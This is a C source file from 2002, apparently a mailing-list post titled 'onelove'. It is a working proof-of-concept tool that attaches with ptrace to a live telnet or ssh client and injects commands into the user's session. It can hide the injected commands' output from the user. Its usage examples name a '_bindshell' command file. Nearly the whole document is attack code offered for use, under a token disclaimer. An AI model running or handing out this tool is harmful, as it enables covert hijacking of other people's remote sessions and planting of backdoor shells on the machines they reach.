proof of concept code demostrating how we can inject commands on a ptraced telnet/ssh session, have fun. [ xenion@acidlife.com ][ http://www.acidlife.com/mayhem/tba/ ]
/*
*
* $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $
*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*
* This is proof of concept code demostrating how we can inject commands
* on a ptraced telnet/ssh session.
*
* ---------------------------------------------------------------------------
*
*
* EXAMPLES
*
* ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e
*
* attach pid 2418,
* enable ssh fd(s),
* use _boxinfo for commands,
* log to file,
* log to stdout (without -l ignored),
* enable echo hiding.
*
* ./onelove -p3953 -1 -c _bindshell -e
*
* attach pid 3953,
* enable telnet fd(s),
* use _bindshell for commands,
* enable echo hiding.
*
*
* LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES:
*
* ssh : 16384
* telnet: 8192
* BitchX: 2048
*
*
* GREETZ
*
* Dark-Angel, my friends.. you know who you are.
*
*/
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <signal.h>
#include <asm/unistd.h>
#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <time.h>
#include <sys/stat.h>
#define WORD_SIZE 4
#define BUFLEN 4096
#define CMDLEN 4096
#define VERSION "0.4"
/*
* PTRACE states
*/
#define PTRACE_NOT_ATTACHED 0 /* not yet attached */
#define PTRACE_STOP1 1 /* first stop */
#define PTRACE_STOP2 2 /* second stop */
#define PTRACE_DONE 3 /* we've finished our work */
/*
* INJECT states
*/
#define INJECT_NOTH 0 /* nothing to do, just do nothing */
#define INJECT_TODO 1 /* we've to inject our commands */
#define INJECT_HIDE 2 /* now we've to hide the output */
/*
* ssh/telnet fd(s)
*/
#define READ_FD_SSH 4
#define WRITE_FD_SSH 5
#define READ_FD_TELNET 0
#define WRITE_FD_TELNET 1
#define LOG(arg...) { \
fprintf(o.log, "## "); \
fprintf(o.log, ## arg); \
fflush(o.log); \
if(o.stdout) { \
fprintf(stdout, "## "); \
fprintf(stdout, ## arg); \
fflush(stdout); \
} \
}
#define LOG_WRITE(arg...) { \
fwrite(## arg, o.log); \
fflush(o.log); \
if(o.stdout) { \
fwrite(## arg, stdout); \
fflush(stdout); \
} \
}
// 'x' viene approssimato per eccesso ad un multiplo di 'y'
#define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x)
// 'x' viene approssimato per difetto ad un multiplo di 'y'
#define LEN_OK(x, y) (##x-(##x % ##y))
#define IS_SYSCALL_AND_FD(x) \
(data.orig_eax == __NR_##x && data.ebx == o.fd_##x)
#define SIG_NAME(x) x == SIGURG ? "SIGURG" : \
x == SIGPIPE ? "SIGPIPE" : \
x == SIGQUIT ? "SIGQUIT" : \
x == SIGINT ? "SIGINT" : \
x == SIGTERM ? "SIGTERM" : \
x == SIGHUP ? "SIGHUP" : \
x == SIGSEGV ? "SIGSEGV" : \
x == SIGBUS ? "SIGBUS" : "UNKNOWN"
#define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ? \
(o.fd_write == WRITE_FD_SSH ? \
"(ssh)" : "") : \
o.fd_read == READ_FD_TELNET ? \
(o.fd_write == WRITE_FD_TELNET ? \
"(telnet)" : "") : ""
void fatal(char *, ...);
void init_opt(int, char **);
void help();
void sigdie(int);
int memread(pid_t, unsigned char *, unsigned char *, long,
long);
int memwrite(pid_t, unsigned char *, unsigned char *, long,
long);
int dataonstdin();
unsigned char *memem(unsigned char *, unsigned char *, size_t, size_t);
typedef struct {
pid_t pid;
int status,
mode,
inject,
echo,
cmdlen,
fd_read,
fd_write,
stdout;
unsigned char cmd[CMDLEN];
FILE *log;
} OPT;
OPT o;
int
main(int argc, char **argv)
{
struct user_regs_struct data;
unsigned char buf[BUFLEN];
int z;
long edx_write_backup;
o.mode = PTRACE_NOT_ATTACHED;
init_opt(argc, argv);
LOG("pid : %d\n", getpid());
LOG("ptraced pid : %d\n", o.pid);
LOG("echo : %s\n", o.echo ? "YES" : "NO");
LOG("fds : r:%d,w:%d %s\n", o.fd_read, o.fd_write,
FD_SSH_OR_TELNET);
LOG("\n");
signal(SIGTERM, sigdie);
signal(SIGINT, sigdie);
signal(SIGQUIT, sigdie);
signal(SIGHUP, sigdie);
signal(SIGSEGV, sigdie);
signal(SIGURG, SIG_IGN);
if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0)
fatal("ptrace(PTRACE_ATTACH, ...) failed");
LOG("Attached! Now I'll display the session I/O. When you're\n");
LOG("sure the user can run commands, press ENTER and wait.\n");
LOG("\n");
o.mode = PTRACE_STOP1;
o.inject = INJECT_NOTH;
wait(NULL);
while (o.mode != PTRACE_DONE) {
if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
fatal("ptrace(PTRACE_SYSCALL ...) failed");
wait(&o.status);
if (WSTOPSIG(o.status) != SIGTRAP) {
LOG("Sending signal %d\n", WSTOPSIG(o.status));
ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));
}
if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_GETREGS ...) failed");
switch (o.mode) {
case PTRACE_STOP1:
if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
z = memread(o.pid, buf, (unsigned char *) data.ecx,
data.edx, sizeof buf);
edx_write_backup = data.edx;
data.edx = 0;
if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_SETREGS ...) failed");
if (z < 0) {
LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup);
} else
LOG_WRITE(buf, 1, data.edx);
}
o.mode = PTRACE_STOP2;
break;
case PTRACE_STOP2:
if (dataonstdin()) {
read(0, buf, sizeof buf);
if (*buf == 'q')
fatal("Aborted");
if (o.inject == INJECT_NOTH) {
o.inject = INJECT_TODO;
LOG("\n");
LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n");
LOG("where I'll inject the commands..\n");
LOG("\n");
}
if (o.inject == INJECT_HIDE) {
LOG("Done, exiting..\n");
o.inject = INJECT_NOTH;
o.mode = PTRACE_DONE;
LOG("\n");
LOG("Done.\n");
break;
}
}
if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
/*
* restoring the count of bytes to send
*/
data.eax = edx_write_backup;
if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_SETREGS ...) failed");
}
if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) {
z = memread(o.pid, buf, (unsigned char *) data.ecx,
data.eax, sizeof buf);
if (z < 0) {
LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax);
o.mode = PTRACE_STOP1;
break;
}
LOG_WRITE(buf, 1, data.eax);
if (o.inject == INJECT_TODO && IS_SYSCALL_AND_FD(read)) {
if (buf[data.eax - 1] == '\r'
|| buf[data.eax - 1] == '\n') {
LOG("Injecting commands\n");
z = memwrite(o.pid,
(unsigned char *) (data.ecx +
data.eax), o.cmd,
o.cmdlen, sizeof o.cmd);
if (z < 0)
fatal("memwrite( ...) failed");
data.eax += o.cmdlen;
if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_SETREGS ...) failed");
if (!o.echo) {
LOG("Done.\n");
o.mode = PTRACE_DONE;
break;
} else {
o.inject = INJECT_HIDE;
LOG("Done.\n");
LOG("I'll hide all write(2)s untill you press ENTER\n");
LOG("\n");
}
}
}
}
o.mode = PTRACE_STOP1;
break;
default:
fatal("Oops");
break;
}
}
LOG("Detaching process\n");
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) {
LOG("ptrace(PTRACE_DETACH ...) failed\n");
} else
LOG("Ok, you're safe this time ;)\n\n");
return 0;
}
void
init_opt(int argc, char **argv)
{
int c;
FILE *f;
o.echo = 0;
o.pid = 0;
o.fd_read = o.fd_write = -1;
o.cmdlen = -1;
o.log = stdout;
o.stdout = 0;
while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF)
switch (c) {
case 'p':
o.pid = atoi(optarg);
break;
case 'r':
o.fd_read = atoi(optarg);
break;
case 'w':
o.fd_write = atoi(optarg);
break;
case '0':
o.fd_read = READ_FD_SSH;
o.fd_write = WRITE_FD_SSH;
break;
case '1':
o.fd_read = READ_FD_TELNET;
o.fd_write = WRITE_FD_TELNET;
break;
case 'l':
o.log = fopen(optarg, "a+");
if (o.log == NULL)
fatal("unable to open log file");
break;
case '+':
o.stdout = 1;
break;
case 'c':
f = fopen(optarg, "r");
if (f == NULL)
fatal("unable to open cmd file");
o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f);
if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0)
fatal("cmdfile broken");
fclose(f);
break;
case 'e':
o.echo = 1;
break;
case 'h':
help();
break;
default:
fatal("try -h");
}
if (o.pid == 0)
fatal("pid needed");
if (o.fd_read == -1 || o.fd_write == -1)
fatal("r/w fd(s) needed");
switch (o.cmdlen) {
case -1:
fatal("cmd file needed");
case 0:
fatal("cmd file broken");
}
if (o.log == stdout)
o.stdout = 0;
}
void
fatal(char *pattern, ...)
{
va_list ap;
va_start(ap, pattern);
fprintf(o.log, "** ");
vfprintf(o.log, pattern, ap);
fprintf(o.log, "; exit forced.\n");
va_end(ap);
if (o.pid == 0) {
fclose(o.log);
exit(1);
}
sigdie(SIGTERM);
}
void
help()
{
printf
("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n",
VERSION);
printf("USAGE: onelove [options]\n\n");
printf("-p pid (ssh|telnet) pid\n");
printf
("-0 default fd(s) for ssh (r:%d,w:%d)\n",
READ_FD_SSH, WRITE_FD_SSH);
printf
("-1 default fd(s) for telnet (r:%d,w:%d)\n",
READ_FD_TELNET, WRITE_FD_TELNET);
printf("-r fd read(2) fd\n");
printf("-w fd write(2) fd\n");
printf("-c file cmdfile\n");
printf("-l file logfile\n");
printf
("-+ log to stdout (without -l ignored)\n");
printf("-e enable echo hiding\n\n");
exit(0);
}
void
sigdie(int signo)
{
int pid;
LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo), signo);
if (o.mode != PTRACE_NOT_ATTACHED) {
switch (pid = fork()) {
case -1:
fatal("fork()");
break;
case 0: /* child process starts */
LOG("Sending a SIGCONT signal to the ptraced process\n");
if (kill(o.pid, SIGCONT) < 0) {
o.pid = 0;
fatal("kill()");
}
break;
default: /* parent process starts */
wait(&o.status);
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)
LOG("ptrace(PTRACE_DETACH ...) failed\n");
LOG("exited: %s\n", strerror(errno));
break;
}
}
fclose(o.log);
exit(0);
}
int
memread(pid_t pid, unsigned char *dest, unsigned char *src, long count,
long len)
{
long off;
long res;
if (count < 0 || len < 0)
return (-1);
count = COUNT_OK(count, WORD_SIZE);
len = LEN_OK(len, WORD_SIZE);
if (len < count)
return -1;
for (off = 0; off < count; off += WORD_SIZE) {
res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);
if (errno > 0)
return -1;
else
memcpy(dest + off, &res, WORD_SIZE);
}
return count;
}
int
memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long count,
long len)
{
long off;
long res;
if (count < 0 || len < 0)
return (-1);
count = COUNT_OK(count, WORD_SIZE);
len = LEN_OK(len, WORD_SIZE);
if (len < count)
return -1;
for (off = 0; off < count; off += WORD_SIZE) {
memcpy(&res, src + off, WORD_SIZE);
if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0)
return -1;
}
return count;
}
int
dataonstdin()
{
fd_set rfds;
struct timeval tv;
int retval;
FD_ZERO(&rfds);
FD_SET(0, &rfds);
tv.tv_sec = tv.tv_usec = 0;
retval = select(1, &rfds, NULL, NULL, &tv);
if (retval)
return 1;
else
return 0;
}
unsigned char *
memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1)
{
size_t i,
j;
int found;
if (len1 > len0)
return NULL;
for (i = 0; i < len0; ++i) {
if (buf0[i] == buf1[0]) {
found = 1;
for (j = 1; j + i < len0 && j < len1; ++j)
if (buf0[i + j] != buf1[j])
found = 0;
if (found)
return &buf0[i];
}
}
return (NULL);
}
/*
* EOF
*/
Attachment:
0xBE1CF7AA.asc
Description: application/pgp-keys
